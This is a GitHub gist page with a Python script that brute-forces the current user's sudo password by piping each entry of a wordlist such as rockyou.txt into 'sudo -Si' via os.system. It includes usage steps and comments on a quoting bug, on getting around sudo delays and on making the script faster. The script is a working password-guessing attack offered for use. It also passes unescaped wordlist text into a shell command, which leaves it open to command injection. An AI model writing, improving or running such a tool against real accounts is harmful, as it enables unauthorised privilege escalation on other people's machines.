Skip to content

Instantly share code, notes, and snippets.

@ramuta
Last active August 4, 2025 12:05
Show Gist options
  • Select an option

  • Save ramuta/e32865d911e087844fc8c526a72fea49 to your computer and use it in GitHub Desktop.

Select an option

Save ramuta/e32865d911e087844fc8c526a72fea49 to your computer and use it in GitHub Desktop.
A Python script to brute force the sudo password of a current user.
# Author: Matej Ramuta
# How to use this script:
# 1. You need to have a wordlist file, something like rockyou.txt
# 2. Make sure you have Python 3 installed. Try this with "python --version" command. Also check "python3 --version"
# 3. Run the script like this: python sudo_brute_force.py passwords.txt
import os
import sys
if len(sys.argv) == 1:
print("You need to add a wordlist! Run the script like this: python sudo_brute_force.py passwords.txt")
exit()
wordfile = sys.argv[1]
print("Brute force sudo password with wordlist {}".format(wordfile))
print()
with open(wordfile, "r") as wordlist:
for password in wordlist:
print(password)
result = os.system("echo '{}' | sudo -Si".format(password.strip())) # important: strip() the newline char
if result == "0" or result == 0:
print("Success! :) The password is: {}".format(password))
break
else:
print("Wrong password... :( Let's try again!")
print()
@ramuta

ramuta commented Jan 16, 2020

Copy link
Copy Markdown
Author

Weird behavior: if a password starts with # (or maybe #1?), the script thinks it's the correct one, even though it's not.

EDIT: This is fixed now with single quotes around password in line 23.

@Nielzo-ai

Copy link
Copy Markdown

by me is the password 97885742334

@medanisjbara

Copy link
Copy Markdown

To those who are interested, I wrote a translation in bash here

@jedai47

jedai47 commented Nov 11, 2021

Copy link
Copy Markdown

it did not work for me as it took the second password in the wordlist as command ...

@Jonah1Pablow

Copy link
Copy Markdown

faisalqureshi6156

@medanisjbara

medanisjbara commented Jul 31, 2022

Copy link
Copy Markdown

@ramuta 2 years late. But if a password starts with # then the command becomes just echo with the rest being just a comment. Therefore the exit status will be 0. Effectively making your script thinks the password is correct while it's not.

A good way to solve this is to have two single quotes around the curly brackets. So line 23 should become.

        result = os.system("echo '{}' | sudo -Si".format(password.strip()))

@ramuta

ramuta commented Sep 26, 2022

Copy link
Copy Markdown
Author

@ramuta 2 years late. But if a password starts with # then the command becomes just echo with the rest being just a comment. Therefore the exit status will be 0. Effectively making your script thinks the password is correct while.

A good way to solve this is to have two single quotes around the curly brackets. So line 23 should become.

        result = os.system("echo '{}' | sudo -Si".format(password.strip()))

Thanks @medanisjbara, not sure how I missed this 🤦‍♂️ 😄

@trawn3333

Copy link
Copy Markdown

Does anyone have this working on systems that institute a delay on sudo commands? It doesn't seem to work for me in Ubuntu.

@medanisjbara

Copy link
Copy Markdown

@trawn3333 there are better ways to do this if you forgot your password. But hit me up if you still want this.

@IloveTurtles1

Copy link
Copy Markdown

is there any way to make it run faster?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment